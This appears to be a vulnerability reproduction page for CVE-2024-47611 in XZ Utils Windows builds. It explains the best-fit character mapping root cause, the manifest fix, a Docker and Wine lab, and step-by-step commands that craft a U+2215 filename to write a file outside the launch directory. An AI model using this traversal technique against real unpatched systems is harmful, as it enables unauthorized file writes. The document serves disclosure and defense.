Skip to content

CVE-2024-47611 — XZ Utils Windows CRT best-fit argument injection and directory traversal

Published 2026-06-06

Verified reproduction

This page documents a confirmed exploitation of CVE-2024-47611. The out-of-tree file write was observed through an independent channel and confirmed absent against the patched binary.

Field Detail
Project XZ Utils
Affected component xz.exe, xzdec.exe, lzmadec.exe, lzmainfo.exe — native Windows builds only
Severity MEDIUM
CVSS CVSS v4.0: 6.3 (Medium)
CWE CWE-88, CWE-176
Affected versions XZ Utils ≤ 5.6.2, native Windows builds (MinGW-w64 or MSVC) only
Fixed version 5.6.3 (released 2024-10-01)
Advisory GHSA-m538-c5qw-3cg4

1. Vulnerability overview

XZ Utils is a collection of command-line compression tools and the liblzma library, available on Linux, macOS, and Windows. CVE-2024-47611 affects only the native-Windows executables: the builds produced with MinGW-w64 or MSVC, not Cygwin or MSYS2 variants, and not the liblzma library itself. An attacker who controls a filename passed to one of the affected tools can cause the tool to read from or write to a filesystem path entirely outside the directory it was launched from. On a system running the unpatched binary under a legacy Windows code page, a single crafted filename is enough to traverse directories the tool was never meant to reach.

Root cause

The Windows runtime converts the Unicode command line into the argv[] array that main() receives. Before XZ Utils 5.6.3, the Windows executables were built without an application manifest declaring activeCodePage = UTF-8. Without that declaration, the Windows startup code falls back to the system's active legacy code page (for example, Windows-1252) and applies "best-fit" character mapping during conversion. Best-fit mapping means that when a Unicode character cannot be directly encoded in the legacy code page, Windows silently substitutes the closest-looking ASCII character.

Several Unicode characters map to ASCII metacharacters that have meaning in the Windows command-line parser or in file-path handling:

  • U+2215 DIVISION SLASH (, UTF-8 e2 88 95) maps to ASCII / (0x2F), enabling directory traversal.
  • Look-alike double-quote characters map to " (0x22), breaking argument quoting and injecting extra arguments.
  • Look-alike question marks map to ? (0x3F), triggering wildcard expansion.

The patch (commit bf518b9ba446327a062ddfe67e7e0a5baed2394f) embeds a Windows application manifest in every executable by adding src/common/w32_application.manifest and wiring it into src/common/common_w32res.rc:

<application xmlns="urn:schemas-microsoft-com:asm.v3">
    <windowsSettings>
        <activeCodePage xmlns="http://schemas.microsoft.com/SMI/2019/WindowsSettings">UTF-8</activeCodePage>
    </windowsSettings>
</application>

The manifest entry tells the Windows loader to use UTF-8 for the command-line-to-argv[] conversion (available on Windows 10 version 1903 and later). With this in place, U+2215 reaches main() intact as a division slash, not rewritten to /, so no traversal occurs. The resource file conditionally includes the manifest only for non-Cygwin/MSYS2 Windows application builds:

#if MY_TYPE == VFT_APP && !defined(__CYGWIN__)
CREATEPROCESS_MANIFEST_RESOURCE_ID RT_MANIFEST "w32_application.manifest"
#endif

Older Windows

The activeCodePage=UTF-8 setting only takes effect on Windows 10 version 1903 and later. The fix does not protect binaries running on older Windows versions.

2. Vulnerable environment

The reproduction runs inside a single Docker container (linux/amd64) that cross-compiles both the vulnerable and patched XZ Utils for Windows using the MinGW-w64 toolchain and drives the resulting PE binaries under Wine.

What is in the container:

  • /opt/xz-vuln/bin/xz.exe — XZ Utils 5.6.2, compiled from the unmodified xz-5.6.2.tar.gz, no UTF-8 manifest. This is the vulnerable binary.
  • /opt/xz-patched/bin/xz.exe — XZ Utils 5.6.3, compiled from the unmodified xz-5.6.3.tar.gz, manifest embedded. This is the patched differential control.
  • Wine prefix configured with locale en_US.CP1252 at boot so the Windows Active Code Page (ACP) is set to 1252 (Windows-1252). This forces CRT best-fit argv mapping for the vulnerable binary.
  • /lab/work — the confined working directory from which xz is launched.
  • /lab/outside — the out-of-tree sibling directory, unreachable from /lab/work without a ../ traversal. The container entrypoint clears this directory on every boot, establishing an empty baseline before any exploit run.

Download the full environment: env.zip

Individual files:

Starting the environment:

docker compose -f env/docker-compose.yml up -d

Verifying the environment is correctly set up — the following smoke test confirms both binary versions, the legacy code page, and the directory layout:

docker exec cve-2024-47611-xz sh -c '
  wine /opt/xz-vuln/bin/xz.exe --version    | grep -i "5.6.2" &&
  wine /opt/xz-patched/bin/xz.exe --version | grep -i "5.6.3" &&
  wine reg query "HKLM\\System\\CurrentControlSet\\Control\\Nls\\CodePage" /v ACP | grep -i 1252 &&
  test -d /lab/work && test -d /lab/outside &&
  echo SMOKE-OK'

Expect output containing 5.6.2, 5.6.3, an ACP ... 1252 line, and SMOKE-OK. Wine may emit harmless fixme/err lines on stderr; these can be ignored.

3. How to exploit

The exploit passes a single crafted filename to the vulnerable xz.exe. The filename contains U+2215 DIVISION SLASH (, UTF-8 bytes e2 88 95) in place of each / in the path ../outside/payload. Because ACP=1252 is active, the Windows CRT rewrites each U+2215 to ASCII / before main() is called, so xz processes ../outside/payload, climbing out of the confined /lab/work into /lab/outside and writing the compressed output ../outside/payload.xz there.

Download the exploit: exploit.zipexploit/run.sh

Step 1 — Copy the exploit script into the container

docker cp exploit/run.sh cve-2024-47611-xz:/tmp/run.sh

Step 2 — Run the exploit against the vulnerable binary

docker exec -w /lab/work cve-2024-47611-xz sh /tmp/run.sh /opt/xz-vuln/bin/xz.exe /lab/work outside payload "PWNED-BY-CVE-2024-47611"

run.sh constructs the crafted filename internally as .. + U+2215 + outside + U+2215 + payload (using POSIX octal escapes \342\210\225 for the three UTF-8 bytes of U+2215). The script seeds the attacker's plaintext input file at /lab/outside/payload (this is the attacker's INPUT, not the proof target) and invokes wine xz.exe -k -v <crafted_filename>. The -k flag keeps the input; -v makes xz print its progress including the resolved path.

The script prints the raw argument bytes before invoking xz so you can confirm the U+2215 bytes are present and no ASCII slash was introduced by the shell:

arg bytes:  2e 2e e2 88 95 6f 75 74 73 69 64 65 e2 88 95 70 61 79 6c 6f 61 64

e2 88 95 at positions 3–5 and 13–15 are the U+2215 bytes — not 2f (ASCII /).

xz's stderr then shows the best-fit rewrite has fired:

../outside/payload: 88 B / 24 B = 3.667

The path printed contains a real ASCII /, not . The argument arrived at main() already rewritten.

Step 3 — Observe the out-of-tree file through the independent channel

The proof is not xz's stdout. The verifier reads the filesystem directly from a host-side shell, independent of the exploit process:

docker exec cve-2024-47611-xz sh -c 'ls -la /lab/outside; find /lab/outside -type f -exec sh -c "echo FILE: \$1; od -An -tx1 \"\$1\" | head -2" _ {} \;'

What was observed in the verified run:

  • A new file /lab/outside/payload.xz appeared — 88 bytes, first bytes fd 37 7a 58 5a 00 — the XZ container magic header. Only xz could have produced a valid XZ container at that path.
  • /lab/work (the confined launch directory) was empty — xz wrote nothing inside it; the output escaped entirely to /lab/outside.
  • Decompressing the proof target confirmed the marker: xz -dc /lab/outside/payload.xzPWNED-BY-CVE-2024-47611 (exit 0).

Differential control — patched binary does not traverse

Running the same invocation against the patched binary confirms the effect is tied to the absent manifest:

docker exec -w /lab/work cve-2024-47611-xz sh /tmp/run.sh /opt/xz-patched/bin/xz.exe /lab/work outside payload "PWNED-BY-CVE-2024-47611"

What was observed:

  • The argument bytes passed to xz are byte-for-byte identical (... e2 88 95 ...).
  • xz stderr: xz: ..∕outside∕payload: No such file or directory — U+2215 was left intact; no ASCII slash appears in the resolved path; no traversal occurred.
  • Independent channel after the patched run: /lab/outside contains only the seeded payload input file. payload.xz is absent. The traversal is provably tied to the unpatched binary.

Environment teardown

docker compose -f env/docker-compose.yml down -v

4. Security advice

Remediation

Upgrade to XZ Utils 5.6.3 or later. This release embeds an activeCodePage=UTF-8 Windows application manifest in every affected executable, preventing the Windows CRT from applying best-fit character substitution during command-line parsing on Windows 10 version 1903 and later.

If an immediate upgrade is not possible, the following mitigations reduce exposure:

  • Avoid passing untrusted filenames to xz.exe, xzdec.exe, lzmadec.exe, or lzmainfo.exe on Windows.
  • Run on a UTF-8 system code page. On Windows 10 1903+ the system-wide UTF-8 beta setting (Control Panel → Region → Administrative → Change system locale → Beta: Use Unicode UTF-8 for worldwide language support) also disables best-fit mapping, even without the manifest. This is a system-level change and should be evaluated in context.
  • Cygwin and MSYS2 builds handle argument encoding differently and are not affected. Switching to those toolchain variants is an option for environments that can accept the change.
  • The fix provides no protection on Windows versions older than 10 1903, regardless of the manifest. Avoid running these tools with attacker-controlled filenames on legacy Windows.

References